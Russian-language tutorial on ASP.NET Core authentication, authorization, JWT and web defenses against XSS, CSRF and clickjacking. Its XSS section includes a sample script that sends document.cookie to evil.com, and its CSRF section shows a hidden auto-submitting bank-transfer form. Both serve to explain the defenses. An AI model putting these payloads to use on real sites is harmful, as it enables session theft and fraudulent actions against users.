

Безопасность: аутентификация, авторизация

1. Аутентификация и авторизация — в чём разница?

Аутентификация — ответ на вопрос «Кто ты?»

Пользователь вводит логин и пароль, система проверяет их и подтверждает: «Да, это Анна».

Авторизация — ответ на вопрос «Что тебе можно?»

Система уже знает, что это Анна. Теперь проверяет: «Анна — админ? Может ли она удалить задачу?»

2. ASP.NET Core Identity — что это и зачем

Identity — встроенная система аутентификации в ASP.NET Core. Она берёт на себя всю рутину:

- Регистрация пользователей (создание, хранение, проверка уникальности).
- Вход (проверка пароля).
- Выход (очистка cookies).
- Хеширование паролей (нельзя хранить пароли в открытом виде).
- Блокировка после неудачных попыток.
- Восстановление пароля (по e-mail).
- Подтверждение e-mail.
- Двухфакторная аутентификация (2FA).

Identity хранит пользователей в базе данных через EF Core. Вам не нужно писать таблицы пользователей вручную — Identity создаёт их сам.

3. Подключение Identity

1. Пакет:

```
[bash]
dotnet add package Microsoft.AspNetCore.Identity.EntityFrameworkCore
```

2. Класс пользователя (можно использовать встроенный):

```
[csharp]
// Встроенный класс IdentityUser уже есть, но можно расширить:
public class AppUser : IdentityUser
{
    public string FullName { get; set; } = "";
}
```

3. Контекст базы данных наследуется от IdentityDbContext:

```
[csharp]
public class AppDbContext : IdentityDbContext<AppUser>
{
    public AppDbContext(DbContextOptions<AppDbContext> options)
        : base(options) { }

    public DbSet<TaskItem> Tasks { get; set; }
}
```

4. Регистрация в Program.cs:

```
[csharp]
builder.Services
    .AddIdentity<AppUser, IdentityRole>(options =>
    {
        // Минимальная длина пароля
        options.Password.RequiredLength = 6;
```

```

        // Требовать цифру
        options.Password.RequireDigit = true;
        // Блокировка после 5 неудачных попыток на 15 минут
        options.Lockout.MaxFailedAccessAttempts = 5;
        options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(15);
    })
    .AddEntityFrameworkStores<AppDbContext>();

```

5. Включение middleware (порядок важен!):

```

[csharp]
app.UseAuthentication();    // Кто ты?
app.UseAuthorization();     // Что тебе можно?

```

Важный момент: UseAuthentication должен идти ДО UseAuthorization. Сначала система определяет, кто пришёл, потом — что ему можно. Если перепутать порядок — авторизация не сработает, потому что пользователь ещё не "опознан".

IdentityDbContext автоматически создаёт таблицы: Users, Roles, UserRoles, UserClaims, UserLogins и другие. Не нужно проектировать их вручную.

4. Регистрация пользователя

```

[csharp]
public class AccountController : Controller
{
    private readonly UserManager<AppUser> _userManager;
    private readonly SignInManager<AppUser> _signInManager;

    public AccountController(
        UserManager<AppUser> userManager,
        SignInManager<AppUser> signInManager)
    {
        _userManager = userManager;
        _signInManager = signInManager;
    }

    [HttpGet]
    public IActionResult Register() => View();

    [HttpPost]
    public async Task<IActionResult> Register(RegisterViewModel model)
    {
        if (!ModelState.IsValid) return View(model);

        var user = new AppUser
        {
            UserName = model.Email,
            Email = model.Email,
            FullName = model.FullName
        };

        // CreateAsync автоматически хеширует пароль
        var result = await _userManager.CreateAsync(user, model.Password);

        if (result.Succeeded)
        {
            // Сразу входим после регистрации
            await _signInManager.SignInAsync(user, isPersistent: false);
            return RedirectToAction("Index", "Home");
        }

        // Ошибки (пароль слабый, e-mail занят и т.д.)
        foreach (var error in result.Errors)
            ModelState.AddModelError("", error.Description);
    }
}

```

```
        return View(model);
    }
}
```

UserManager — главный инструмент для работы с пользователями.

CreateAsync делает три вещи: проверяет уникальность e-mail, хеширует пароль и сохраняет в базу. Пароль нигде не хранится в открытом виде — только хеш.

SignInManager — отвечает за "вход".

Метод **SignInAsync** создаёт зашифрованный cookie и кладёт его в браузер.

После этого пользователь считается аутентифицированным для всех последующих запросов.

5. Вход и выход

Вход:

```
[csharp]
[HttpPost]
public async Task<IActionResult> Login(LoginViewModel model)
{
    if (!ModelState.IsValid) return View(model);

    // Проверяет логин и пароль
    var result = await _signInManager.PasswordSignInAsync(
        model.Email, model.Password,
        isPersistent: model.RememberMe,    // Запомнить меня?
        lockoutOnFailure: true);           // Блокировать после неудач?

    if (result.Succeeded)
        return RedirectToAction("Index", "Home");

    if (result.IsLockedOut)
        return View("LockedOut"); // Слишком много попыток

    ModelState.AddModelError("", "Неверный логин или пароль");
    return View(model);
}
```

Выход:

```
[csharp]
[HttpPost]
public async Task<IActionResult> Logout()
{
    await _signInManager.SignOutAsync();
    return RedirectToAction("Index", "Home");
}
```

PasswordSignInAsync проверяет пароль и, если всё верно, создаёт cookie.

Параметр **isPersistent** — это галочка "Запомнить меня". Если true — cookie живёт долго (по умолчанию 30 дней). Если false — cookie закрывается с закрытием браузера.

SignOutAsync удаляет cookie. Пользователь становится анонимом.

lockoutOnFailure: true — после 5 неудачных попыток (настраивается) аккаунт блокируется на 15 минут. Это защита от перебора паролей.

6. Cookie-аутентификация: как это работает под капотом

Схема работы:

1. Пользователь вводит логин и пароль
2. Сервер проверяет → верно
3. Сервер создаёт зашифрованный cookie
4. Cookie отправляется в браузер

5. Следующий запрос → браузер шлёт cookie
6. middleware UseAuthentication расшифровывает
7. Пользователь "восстановлен" → HttpContext.User

Cookie выглядит как зашифрованная строка:

.AspNetCore.Identity.Application=CfDJ8...длинная_строка...==

Что внутри cookie (расшифрованное):

- ID пользователя
- Имя
- Claims (утверждения о пользователе)
- Время создания и срок действия

Важно: cookie зашифрован ключом сервера. Если ключ меняется (например, при перезапуске без persistent ключей) — все пользователи "вылетают".

Когда пользователь входит, сервер не просто кладёт ID в cookie. Он создаёт зашифрованный билет — `AuthenticationTicket`. Внутри билета — кто пользователь, какие у него роли, когда билет истекает. Браузер не может прочитать содержимое — он просто хранит и отправляет. Сервер при каждом запросе расшифровывает cookie и восстанавливает пользователя.

Ключ шифрования по умолчанию хранится в памяти. При перезапуске сервера ключ меняется, и все cookie становятся недействительными. В продакшене нужно настраивать persistent keys.

7. Claims — утверждения о пользователе

Claim — это пара "ключ-значение" с информацией о пользователе.

```
[csharp]
// Примеры claims:
new Claim(ClaimTypes.Name, "anna@example.com")
new Claim(ClaimTypes.NameIdentifier, "12345") // ID
new Claim(ClaimTypes.Role, "Admin")
new Claim("Department", "Sales")
new Claim("Age", "25")
```

Пользователь в ASP.NET Core — это набор claims:

```
[csharp]
// Прочитать claim в контроллере:
var email = User.Identity?.Name;
var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);
var department = User.FindFirst("Department")?.Value;
```

Добавить свой claim при регистрации:

```
[csharp]
await _userManager.AddClaimAsync(user, new Claim("Department", "Sales"));
```

`Claim` — это не роль. Роль — это один из типов claim. `Claims` — более гибкая система. Вместо того чтобы говорить "Анна — админ" (роль), вы можете сказать "Анна работает в отделе продаж" (claim), "Анне 25 лет" (claim), "Анна верифицировала e-mail" (claim).

На основе claims можно строить любые правила доступа — это называется политики.

8. Защита страниц и контроллеров: [Authorize]

Закрыть весь контроллер:

```
[csharp]
[Authorize]
public class TaskController : Controller
{
    public IActionResult Index() { ... }
    public IActionResult Create() { ... }
}
```

Закрыть отдельный метод:

```
[csharp]
public class HomeController : Controller
{
    public IActionResult Index() { ... }           // всем

    [Authorize]
    public IActionResult Profile() { ... }         // только вошедшим
}
```

Только для конкретной роли:

```
[csharp]
[Authorize(Roles = "Admin")]
public class AdminController : Controller { ... }
```

Несколько ролей:

```
[csharp]
[Authorize(Roles = "Admin,Moderator")] // ИЛИ
public IActionResult Moderate() { ... }
```

Доступ закрыт — что происходит:

- Если пользователь не вошёл → редирект на страницу логина.
- Если вошёл, но нет роли → 403 Forbidden.

[Authorize] без параметров — значит "любой вошедший пользователь".

Roles = "Admin" — значит "только админ".

Запятая между ролями — это ИЛИ, не И. Если нужен И (одновременно админ и модератор), используются два атрибута подряд.

Если пользователь не аутентифицирован — middleware перенаправляет его на login-страницу (путь настраивается).

Если аутентифицирован, но не хватает прав — 403.»

9. Авторизация по ролям: Admin / Author / User

Создание ролей при запуске (seed):

```
[csharp]
public static async Task SeedRolesAsync(IServiceProvider sp)
{
    var roleManager = sp.GetRequiredService<RoleManager<IdentityRole>>();

    string[] roles = { "Admin", "Author", "User" };
    foreach (var role in roles)
    {
        if (!await roleManager.RoleExistsAsync(role))
            await roleManager.CreateAsync(new IdentityRole(role));
    }
}

// Вызов в Program.cs:
using (var scope = app.Services.CreateScope())
```

```
{
    await SeedRolesAsync(scope.ServiceProvider);
}
```

Назначить роль пользователю:

```
[csharp]
await _userManager.AddToRoleAsync(user, "Author");
```

Проверить роль в коде:

```
[csharp]
if (await _userManager.IsInRoleAsync(user, "Admin"))
{
    // ...
}
```

Роли — это самый простой способ разделить доступ: админ может всё, автор может создавать и редактировать своё, обычный пользователь — только смотреть.

Роли создаются один раз при запуске (seed), а потом назначаются пользователям. Один пользователь может иметь несколько ролей.

10. Политики — более гибкая авторизация

:

Проблема ролей: они грубые. "Admin" — это "Admin". Нет нюансов.

Политика — это правило, которое проверяется кодом.

1. Регистрируем политику:

```
[csharp]
builder.Services.AddAuthorization(options =>
{
    // Политика: только админ
    options.AddPolicy("RequireAdmin", policy =>
        policy.RequireRole("Admin"));

    // Политика: возраст 18+
    options.AddPolicy("MinimumAge", policy =>
        policy.RequireClaim("Age")
            .RequireAssertion(ctx =>
                int.Parse(ctx.User.FindFirst("Age")!.Value) >= 18));

    // Политика: только авторы с подтверждённым email
    options.AddPolicy("VerifiedAuthor", policy =>
        policy.RequireRole("Author")
            .RequireClaim("EmailVerified", "true"));
});
```

2. Применяем:

```
[csharp]
[Authorize(Policy = "MinimumAge")]
public IActionResult Restricted() { ... }

[Authorize(Policy = "VerifiedAuthor")]
public IActionResult CreateArticle() { ... }
```

Политики мощнее ролей в разы. Роль — это строка. Политика — это код, в котором можно проверить что угодно: роль, claim, возраст, дату, комбинацию условий.

Политики — это "формулы доступа". Вы описываете формулу один раз, а потом используете её по имени.

11. Custom Policy Handler — своя логика авторизации

Когда логика сложная (обращение к базе, вычисления) — пишем свой handler.

Пример: политика «Может редактировать только свои задачи»

1. Требование (Requirement):

```
[csharp]
public class CanEditTaskRequirement : IAuthorizationRequirement { }
```

2. Handler — логика проверки:

```
[csharp]
public class CanEditTaskHandler : AuthorizationHandler<CanEditTaskRequirement,
TaskItem>
{
    private readonly UserManager<AppUser> _userManager;

    public CanEditTaskHandler(UserManager<AppUser> userManager)
    {
        _userManager = userManager;
    }

    protected override Task HandleRequirementAsync(
        AuthorizationHandlerContext context,
        CanEditTaskRequirement requirement,
        TaskItem task)
    {
        // Получаем ID текущего пользователя
        var userId = context.User.FindFirstValue(ClaimTypes.NameIdentifier);

        // Проверяем: задача принадлежит ему ИЛИ он админ
        if (task.UserId == userId || context.User.IsInRole("Admin"))
        {
            context.Succeed(requirement);
        }

        return Task.CompletedTask;
    }
}
```

3. Регистрация:

```
[csharp]
builder.Services.AddSingleton<IAuthorizationHandler, CanEditTaskHandler>();

builder.Services.AddAuthorization(options =>
{
    options.AddPolicy("CanEditTask", policy =>
        policy.Requirements.Add(new CanEditTaskRequirement()));
});
```

Здесь мы переходим от "проверить роль" к "проверить конкретный ресурс". Handler получает и пользователя, и саму задачу. Если ID задачи совпадает с ID пользователя — доступ открыт. Если нет — но пользователь админ — тоже открыт. Иначе — отказ.

Это называется **resource-based authorization**: авторизация зависит не только от того, кто ты, но и от того, с чем ты работаешь.»

12. Resource-based authorization в контроллере

```
[csharp]
public class TaskController : Controller
{
    private readonly AppDbContext _db;
    private readonly IAuthorizationService _auth;

    public TaskController(AppDbContext db, IAuthorizationService auth)
    {
        _db = db;
        _auth = auth;
    }

    [Authorize]
    public async Task<IActionResult> Edit(int id)
    {
        // 1. Загружаем задачу из базы
        var task = await _db.Tasks.FindAsync(id);
        if (task == null) return NotFound();

        // 2. Проверяем политику "CanEditTask" с конкретным ресурсом
        var result = await _auth.AuthorizeAsync(
            User, task, "CanEditTask");

        if (!result.Succeeded)
            return Forbid(); // 403

        return View(task);
    }
}
```

AuthorizeAsync принимает три параметра: текущего пользователя, ресурс (задачу) и имя политики. Внутри вызывается наш **CanEditTaskHandler**, который сравнивает владельца задачи с текущим пользователем. Если проверка не прошла — **Forbid()** возвращает 403.

Этот паттерн — самый частый в реальных проектах: "пользователь может редактировать только свои материалы". Роли здесь не помогут: и автор А, и автор В — оба "Author". Различить их можно только по владельцу ресурса.

13. OAuth 2.0 и OpenID Connect — обзор

Зачем: не заставлять пользователя регистрироваться на каждом сайте. Пусть входит через Google, GitHub, VK.

OAuth 2.0 — протокол авторизации:

- Позволяет одному приложению получить доступ к данным пользователя в другом приложении.
- Пример: "приложение X хочет прочитать ваши контакты в Google".
- Пользователь даёт разрешение → приложение получает access token.

OpenID Connect — протокол аутентификации поверх OAuth 2.0:

- Не просто "дай доступ к данным", а "подтверди, кто этот пользователь".
- Возвращает ID Token — JWT с информацией о пользователе.

Схема (упрощённо):

1. Пользователь нажимает "Войти через Google"
2. Приложение перенаправляет на Google
3. Пользователь вводит пароль на Google (не в вашем приложении!)
4. Google спрашивает: "Разрешить доступ?"
5. Пользователь соглашается

6. Google возвращает код → приложение меняет на токен
7. Приложение получает информацию о пользователе
8. Пользователь "вошёл" в ваше приложение

OAuth 2.0 — это когда вы даёте приложению ключ от своих данных в другом сервисе.

OpenID Connect — это когда этот ключ ещё и подтверждает, кто вы.

Большинство кнопок "Войти через Google" используют именно OpenID Connect.

В ASP.NET Core это подключается через **AddAuthentication().AddGoogle(...)** — несколько строк, и у вас есть внешний вход.

14. JWT — структура токена

JWT (JSON Web Token) — компактный токен для передачи информации между клиентом и сервером.

Как выглядит:

```
[text]
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTI1bnVtYXVlIjoiYW5uYUBleGFtcGxlIiwiaXNjb3R5IjoiYXVlbnVtYXVlLnNlKXwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
```

Три части, разделённые точкой:

Заголовок (Header) . Полезная нагрузка (Payload) . Подпись (Signature)

1. Header — алгоритм и тип:

```
[json]
{
  "alg": "HS256",
  "typ": "JWT"
}
```

2. Payload — данные (claims):

```
[json]
{
  "sub": "12345",
  "email": "anna@example.com",
  "role": "Admin",
  "exp": 1717200000
}
```

3. Signature — подпись:

```
[text]
 HMAC-SHA256(
   base64(header) + "." + base64(payload),
   secret_key
 )
```

JWT — это не зашифрованный токен. Его содержимое (payload) может прочитать любой.
JWT — это подписанный токен. Сервер подписывает его секретным ключом. Кто угодно может прочитать, но никто не может подделать без ключа.

exp — это expiration time, время истечения. После него токен считается недействительным.
Сервер проверяет подпись и срок годности при каждом запросе.»

15. Когда JWT, когда Cookie

Критерий	Cookie	JWT
Где хранится	В браузере автоматически	На клиенте: localStorage, sessionStorage, cookie
Кто отправляет	Браузер автоматически с каждым запросом	Клиент сам добавляет в заголовок Authorization: Bearer ...
Stateless?	Нет: сервер хранит ключ, расшифровывает cookie	Да: сервер не хранит токен, только проверяет подпись
Отзыв	Удалить cookie — пользователь вышел	Токен не отозвать до истечения (нужен blacklist или refresh)
Клиенты	Браузеры (веб-страницы)	Любые: мобильные приложения, SPA, скрипты
CSRF-уязвимость	Да: cookie отправляется автоматически	Нет: токен не отправляется автоматически
XSS-уязвимость	Cookie защищён HttpOnly	Если в localStorage — XSS может украсть

Правило:

- Веб-приложение с серверным рендерингом (Razor Pages, MVC) → **Cookie**.
- API для мобильных / SPA / сторонних клиентов → **JWT**.

Cookie удобен для веб-страниц: браузер сам отправляет его с каждым запросом.

JWT удобен для API: мобильное приложение или React-фронтенд сами кладут токен в заголовок.

Главное отличие: cookie подвержены CSRF (потому что отправляются автоматически), а JWT — нет (потому что клиент сам решает, когда отправить).

Но JWT в localStorage уязвим к XSS. Нет идеального варианта — есть правильный для конкретного случая.

16. JWT в ASP.NET Core — настройка

1. Пакет:

```
[bash]
dotnet add package Microsoft.AspNetCore.Authentication.JwtBearer
```

2. Настройка в Program.cs:

```
[csharp]
builder.Services.AddAuthentication()
    .AddCookie(options =>
    {
        options.LoginPath = "/Account/Login";
    })
    .AddJwtBearer(options =>
    {
        options.TokenValidationParameters = new TokenValidationParameters
        {
            ValidateIssuer = true,
            ValidIssuer = "MyApp",
            ValidateAudience = true,
            ValidAudience = "MyAppClients",
            ValidateLifetime = true,
            ValidateIssuerSigningKey = true,
            IssuerSigningKey = new SymmetricSecurityKey(
                Encoding.UTF8.GetBytes(builder.Configuration["Jwt:Key"]!)
            )
        };
    });
```

3. Секретный ключ в appsettings.json:

```
[json]
{
  "Jwt": {
    "Key": "SuperSecretKey_Minimum32Characters_Long!!!",
    "Issuer": "MyApp",
    "Audience": "MyAppClients"
  }
}
```

Здесь мы подключили ДВЕ схемы аутентификации одновременно: Cookie для Razor Pages и JWT для API.

ASP.NET Core умеет работать с несколькими схемами. Каждая схема знает, как "распознать" своего пользователя.

TokenValidationParameters — это правила проверки токена. Сервер проверяет: кто выпустил (issuer), для кого (audience), не истёк ли (lifetime), правильная ли подпись (signing key). Если хоть одна проверка не прошла — 401 Unauthorized.

17. Выпуск JWT-токена при логине

```
[csharp]
[ApiController]
[Route("api/auth")]
public class AuthApiController : ControllerBase
{
    private readonly SignInManager<AppUser> _signInManager;
    private readonly UserManager<AppUser> _userManager;
    private readonly IConfiguration _config;

    public AuthApiController(
        SignInManager<AppUser> signInManager,
        UserManager<AppUser> userManager,
        IConfiguration config)
    {
        _signInManager = signInManager;
        _userManager = userManager;
        _config = config;
    }

    [HttpPost("login")]
    public async Task<IActionResult> Login([FromBody] LoginDto dto)
    {
        var user = await _userManager.FindByEmailAsync(dto.Email);
        if (user == null)
            return Unauthorized(new { message = "Неверный логин или пароль" });

        var result = await _signInManager.CheckPasswordSignInAsync(
            user, dto.Password, lockoutOnFailure: false);

        if (!result.Succeeded)
            return Unauthorized(new { message = "Неверный логин или пароль" });

        // Получаем роли пользователя
        var roles = await _userManager.GetRolesAsync(user);

        // Создаём claims
        var claims = new List<Claim>
        {
            new Claim(ClaimTypes.NameIdentifier, user.Id),
            new Claim(ClaimTypes.Name, user.Email!),
        };
        claims.AddRange(roles.Select(r => new Claim(ClaimTypes.Role, r)));

        // Создаём токен
```

```

var key = new SymmetricSecurityKey(
    Encoding.UTF8.GetBytes(_config["Jwt:Key"]!));
var creds = new SigningCredentials(key, SecurityAlgorithms.HmacSha256);

var token = new JwtSecurityToken(
    issuer: _config["Jwt:Issuer"],
    audience: _config["Jwt:Audience"],
    claims: claims,
    expires: DateTime.Now.AddHours(1),
    signingCredentials: creds);

var tokenString = new JwtSecurityTokenHandler().WriteToken(token);

return Ok(new { token = tokenString });
}
}

```

Использование на клиенте:

```

[javascript]
// Сохранить токен
localStorage.setItem("jwt", response.token);

// Отправлять в каждом запросе
fetch("/api/tasks", {
    headers: { "Authorization": `Bearer ${localStorage.getItem("jwt")}` }
});

```

Логика: проверяем пароль через `CheckPasswordSignInAsync` (не создаём cookie, только проверяем). Если верно — собираем `claims`, создаём JWT и отдаём клиенту.

Клиент сохраняет токен и отправляет в заголовке `Authorization: Bearer ...` при каждом запросе к API.

Срок жизни токена — 1 час. После этого клиент должен получить новый (через `refresh token` или повторный логин).

Это отличие от cookie: cookie можно "убить" на сервере, а JWT — нет, он живёт до истечения.

18. XSS — межсайтовый скриптинг

XSS (Cross-Site Scripting) — атакующий внедряет свой JavaScript-код в вашу страницу.

Как это работает:

1. Атакующий оставляет комментарий:
`<script>fetch('https://evil.com?cookie='+document.cookie)</script>`
2. Ваш сайт сохраняет его в базу без проверки.
3. Другой пользователь открывает страницу с этим комментарием.
4. Браузер выполняет скрипт. Cookie украден.

Три типа XSS:

- **Stored (хранимый)** — скрипт сохраняется в базе. Выполняется у каждого, кто видит страницу. Самый опасный.
- **Reflected (отражённый)** — скрипт передаётся через URL (`?q=<script>...`). Сервер "отражает" его в ответе.
- **DOM-based** — скрипт не доходит до сервера. Выполняется в браузере из-за уязвимого JavaScript.

XSS — одна из старейших и самых опасных уязвимостей веба.

Суть: атакующий заставляет ваш сайт выполнить чужой код в браузере жертвы. Если код выполняется — он может всё: украсть cookie, перенаправить пользователя, изменить страницу.

Главная причина: данные от пользователя вставляются на страницу без очистки. Razor Pages по умолчанию кодирует HTML (превращает `<script>` в `<script>`), но если вы используете `@Html.Raw()` или выводите данные через JavaScript — защита снимается.»

19. Защита от XSS

1. Razor кодирует автоматически:

```
[csharp]
@Model.Comment // Безопасно: <script> → &lt;script&gt;
@Html.Raw(Model.Comment) // ОПАСНО: выполняет скрипт!
```

2. Никогда не используйте `Html.Raw()` для пользовательских данных.

3. Content Security Policy (CSP) — заголовок, который запрещает выполнять скрипты не из разрешённых источников:

```
[csharp]
app.Use(async (context, next) =>
{
    context.Response.Headers.Add("Content-Security-Policy",
        "default-src 'self'; " +
        "script-src 'self' https://cdn.jsdelivr.net; " +
        "style-src 'self'; " +
        "img-src 'self' data:; " +
        "connect-src 'self'");
    await next();
});
```

Что это делает:

- `default-src 'self'` — всё только со своего домена.
- `script-src 'self' https://cdn.jsdelivr.net` — скрипты только со своего домена и `cdn.jsdelivr.net`.
- Инлайн-скрипты (`<script>alert(1)</script>`) — заблокированы.

CSP — это второй рубеж обороны. Даже если атакующий смог вставить `<script>` на страницу, CSP в браузере откажется его выполнять. Браузер смотрит на заголовок CSP и блокирует всё, что не разрешено.

'self' — означает "только с этого домена". Если нужен внешний CDN — добавляете его в список. Инлайн-скрипты и инлайн-стили по умолчанию блокируются — это и есть защита от XSS.

20. CSRF — подделка межсайтовых запросов

CSRF (Cross-Site Request Forgery) — атакующий заставляет браузер жертвы отправить запрос на ваш сайт от имени жертвы.

Как это работает:

1. Анна вошла в `bank.com`. Cookie активен.
2. Анна открывает `evil.com` (не зная, что он злой).
3. На `evil.com` есть форма:

```
[html]
<form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="hacker" />
    <input type="hidden" name="amount" value="1000" />
</form>
<script>document.forms[0].submit()</script>
</form>
```

4. Браузер автоматически отправляет cookie `bank.com` с запросом.
5. `bank.com` видит cookie Анны → выполняет перевод.

Почему это работает: cookie отправляется автоматически с любым запросом к домену, независимо от того, с какой страницы пришёл запрос.

Анна ничего не нажимала. Она просто открыла злой сайт, и браузер сам отправил запрос в банк с её cookie. Банк не может отличить: это Анна отправила форму или злой сайт? Cookie-то одинаковый.

Именно поэтому CSRF работает только с cookie. JWT не подвержен CSRF: токен хранится в localStorage и отправляется только если клиент сам его добавил в заголовок. Злой сайт не может прочитать localStorage другого домена.

21. Защита от CSRF — антифоргери-токены

Идея: сервер генерирует случайный токен, кладёт в форму и в cookie. При отправке проверяет: совпадают?

1. Автоматическая проверка для всех форм:

```
[csharp]
// Program.cs
builder.Services.AddRazorPages()
    .AddMvcOptions(options =>
    {
        options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute());
    });
```

2. Токен в форме (Razor):

```
[html]
<form asp-action="Create" method="post">
    @Html.AntiForgeryToken()
    <input asp-for="Title" />
    <button type="submit">Создать</button>
</form>
```

Или через Tag Helper (автоматически):

```
[html]
<form asp-action="Create" method="post">
    <!-- Antiforgery token добавляется автоматически -->
    <input asp-for="Title" />
    <button type="submit">Создать</button>
</form>
```

3. Проверка в контроллере:

```
[csharp]
[HttpPost]
[ValidateAntiForgeryToken] // Проверяет токен
public IActionResult Create(TaskCreateViewModel model)
{
    // ...
}
```

Антифоргери-токен — это случайная строка, которую сервер кладёт в форму в виде скрытого поля и в cookie. При отправке формы сервер сравнивает: поле в форме совпадает с cookie? Если да — форма отправлена с нашего сайта. Если нет — это подделка.

Злой сайт не может прочитать скрытое поле из формы — он может только отправить свою форму. А у него нет правильного токена.

22. Антифоргери-токены в AJAX-запросах

AJAX-запросы не отправляют форму, поэтому токен нужно добавить вручную.

1. Получить токены (Razor):

```
[html]
@inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Antiforgery

@{
    var tokens = Antiforgery.GetAndStoreTokens(Context);
}

<meta name="csrf-token" content="@tokens.RequestToken" />
```

2. Читать токен и добавлять в заголовок:

```
[javascript]
function getCsrftoken() {
    return document
        .querySelector('meta[name="csrf-token"]')
        .getAttribute('content');
}

async function likeTask(taskId) {
    const response = await fetch('/api/tasks/like', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'X-CSRF-TOKEN': getCsrftoken() // Токен в заголовке
        },
        body: JSON.stringify({ taskId })
    });

    if (response.ok) {
        // обновить UI
    } else {
        alert('Не удалось поставить лайк');
    }
}
```

3. Настроить сервер, чтобы он читал токен из заголовка:

```
[csharp]
builder.Services.AddAntiforgery(options =>
{
    options.HeaderName = "X-CSRF-TOKEN";
});
```

В AJAX нет формы, поэтому сервер не найдёт токен автоматически.

Решение: кладем токен в meta-тег на странице, потом JavaScript читает его и добавляет в заголовок X-CSRF-TOKEN. Сервер настраивается проверять этот заголовок.

Если забыть это сделать — все POST-запросы через AJAX будут падать с 400 Bad Request. Это самая частая ошибка: "AJAX не работает, а в обычной форме всё ок". Проверьте антифоргери-токен.

23. Security Headers — заголовки безопасности

Помимо CSP, есть ещё несколько заголовков, которые стоит настроить:

```
[csharp]
app.Use(async (context, next) =>
{
    var headers = context.Response.Headers;
```

```
// 1. Content Security Policy — запретить чужие скрипты
headers["Content-Security-Policy"] =
    "default-src 'self'; script-src 'self'";

// 2. X-Content-Type-Options — не угадывать тип файла
headers["X-Content-Type-Options"] = "nosniff";

// 3. X-Frame-Options — запретить встраивание в iframe (защита от clickjacking)
headers["X-Frame-Options"] = "DENY";

// 4. Referrer-Policy — не отправлять полный URL в Referer
headers["Referrer-Policy"] = "strict-origin-when-cross-origin";

// 5. Strict-Transport-Security — принудительно HTTPS
headers["Strict-Transport-Security"] =
    "max-age=31536000; includeSubDomains";

await next();
});
```

Что делает каждый заголовок:

Заголовок	Что защищает
CSP	От XSS: запрещает чужие скрипты
X-Content-Type-Options	От подмены типа: браузер не будет выполнять текстовый файл как скрипт
X-Frame-Options	От clickjacking: ваш сайт нельзя встроить в чужой iframe
Referrer-Policy	От утечки URL: не отправлять полный путь при переходе на другой сайт
HSTS	От понижения до HTTP: браузер всегда использует HTTPS

Эти пять заголовков — базовая гигиена. Их можно добавить за один `app.Use` — и ваш сайт станет заметно безопаснее.

nosniff — это про MIME-sniffing: браузер иногда "угадывает" тип файла и может выполнить как скрипт то, что скриптом не является. Заголовок запрещает угадывать.

X-Frame-Options: DENY — ваш сайт нельзя открыть в `<iframe>` на чужой странице. Атакующий мог бы наложить свой интерфейс поверх вашего и обмануть пользователя (clickjacking).

HSTS говорит браузеру: "всегда ходи на этот сайт по HTTPS, даже если пользователь ввёл HTTP". Браузер запоминает на год.

24. Итоговая схема: как всё связано

Пользователь вводит логин/пароль



ASP.NET Core Identity
 Проверяет пароль (хеш)
 Создаёт Cookie или JWT

- Razor Pages → Cookie (HttpOnly, защищён)
 - └─→ Antiforgery token в формах (защита от CSRF)
 - └─→ `[Authorize]` / `[Authorize(Roles=...)]`
 - └─→ `IAuthorizationService` (политики, resource-based)
- REST API → JWT (в заголовке `Authorization: Bearer`)
 - └─→ `[Authorize]` на контроллере
 - └─→ CSP, security headers (защита от XSS)

Соберём всё вместе:

- Identity — это фундамент: он хранит пользователей, проверяет пароли, создаёт билеты (cookie или JWT). Cookie идёт для Razor Pages, JWT — для API.
- Поверх аутентификации — авторизация: роли, политики, resource-based проверки.
- Поверх всего — безопасность: антифоргери-токены от CSRF, CSP от XSS, security headers как общий щит.

Запомните главное правило: аутентификация отвечает за "кто", авторизация — за "что можно", защита — за "чтобы не взломали".»
